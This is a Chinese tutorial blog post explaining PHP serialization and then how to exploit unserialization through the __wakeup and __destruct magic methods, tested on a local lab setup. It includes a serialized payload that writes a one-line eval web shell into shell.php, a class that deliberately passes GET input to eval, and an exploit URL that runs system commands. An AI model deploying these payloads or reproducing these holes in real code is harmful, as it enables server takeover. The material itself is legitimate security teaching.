序列化和反序列化
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了序列化和反序列化相关的知识,希望对你有一定的参考价值。
序列化和反序列化
一.序列化
1.定义:就是将对象转换成为字符串。
2.简单的代码调试,举例说明
<?php
//序列化
error_reporting(0); //防止报错
class Student //定义了一个Student的类
{
public $name = 'deelmind'; //定义一个属性,即name这个变量,内容为deelmind
// public $age = '20+';
// private $lover = "fancy";
function getName() //定义了一个函数(方法)名为getName
{
return "deelmind"; //这个方法的内容为deelmind
}
}
$s = new Student(); //变量($s)创建对象
echo $s->getName()."</br>"; //这个($s)对象调用getName()这个方法
//serialize function()
$s_serialize = serialize($s); //序列化这个($s)这个对象
print_r($s_serialize); //输出序列化后的结果
echo "</br>";
?>
3.输出结果
deelmind
O:7:"Student":1:{s:4:"name";s:8:"deelmind";}
其中,O
表示这是一个对象,7
表示对象的长度,Student
则是序列化的对象名称,1个成员。其中s
表示是字符串,4
表示属性名的长度,后面说明属性名称为“name
”,属性内容为“deelmind
”.
name
和deelmind
都是字符串
添加两个属性
public $age = '20+'; //添加了年龄属性
private $lover = "fancy"; //添加了私有属性
完整代码如下所示:
<?php
//序列化
error_reporting(0);
class Student
{
public $name = 'deelmind';
public $age = '20+'; //添加了年龄属性
private $lover = "fancy"; //添加了私有属性
function getName()
{
return "deelmind";
}
}
$s = new Student();
echo $s->getName()."</br>";
//serialize function
$s_serialize = serialize($s);//O:7:"Student":1:{s:4:"name";s:8:"deelmind";}
print_r($s_serialize);
echo "</br>";
?>
运行结果
deelmind
O:7:"Student":3:{s:4:"name";s:8:"deelmind";s:3:"age";s:3:"20+";s:14:"Studentlover";s:5:"fancy";}
结果中多了两个属性,Studentlover
是特有的属性名
二、反序列化
1.定义:就是将对象转化成字符串
2.简单的代码调试
<?php
//反序列化
error_reporting(0);
class Student
{
public $name = 'deelmind';
function getName()
{
return "deelmind";
}
}
//反序列化
$Student = 'O:7:"Student":1:{s:4:"name";s:9:"phpinfo()";}';
//$Student = $_GET['s'];
$s_unserialize = unserialize($Student);
print_r($s_unserialize);
echo "</br>";
?>
3.输出的结果
三、分析函数
1. __wakeup
函数
适用场景:当反序列化恢复对象前调用,就会触发__wakeup函数
1.代码如下所示:
<?php
//反序列化
error_reporting(0);
class Student
{
public $name = 'deelmind';
// public $age = '20+';
// private $lover = "fancy";
function getName()
{
return "deelmind";
}
function __wakeup()
{
echo "__wakeup"."</br>";
echo $this->name."</br>";
$myfile = fopen("shell.php", "w") or die("Unable to open file!");
fwrite($myfile, $this->name);
fclose($myfile);
echo "</br>";
}
}
$Student = 'O:7:"Student":1:{s:4:"name";s:9:"phpinfo()";}';
// $Student = $_GET['s'];
$s_unserialize = unserialize($Student);
print_r($s_unserialize);
echo "</br>";
?>
2.当我们执行反序列化的时候,它会默认的调用__wakeup
这个函数,执行这个函数内的命令
3.我们尝试访问shell.php
,发现shell.php
的内容会被覆盖,并且会写入我们想要的内容
4.当我们发现这个漏洞时,尝试写入一句话木马,代码如下所示
<?php
//反序列化
error_reporting(0);
class Student
{
public $name = 'deelmind';
// public $age = '20+';
// private $lover = "fancy";
function getName()
{
return "deelmind";
}
function __wakeup()
{
echo "__wakeup"."</br>";
echo $this->name."</br>";
$myfile = fopen("shell.php", "w") or die("Unable to open file!");
fwrite($myfile, $this->name);
fclose($myfile);
echo "</br>";
}
}
$Student = 'O:7:"Student":1:{s:4:"name";s:29:"<?php @eval($_POST['hhh']);?>";}';
// $Student = $_GET['s'];
$s_unserialize = unserialize($Student);
print_r($s_unserialize);
echo "</br>";
?>
5.当我们访问的时候会报错
6.此时,只需要将hhh的单引号装换成双引号即可
7.在此访问时,就可以成功执行
8.本地测试测试一下,一句话木马是否上传成功
9.成功执行命令。
2. __destruct
函数
适用场景:当对象被销毁的时候,调用__destruct()
函数
<?php
class test{
function __destruct(){
echo "destruct...<br>";
eval($_GET['cmd']);
}
}
unserialize($_GET['u']);
?>
利用原理,__destruct()
函数在对象销毁时会自动调用此方法,然后cmd参数传入PHP代码,即可达到任意代码执行。
http://127.0.0.1:83/F/test1.php?u=O:4:"test":0:{}&cmd=system("whoami");
以上是关于序列化和反序列化的主要内容,如果未能解决你的问题,请参考以下文章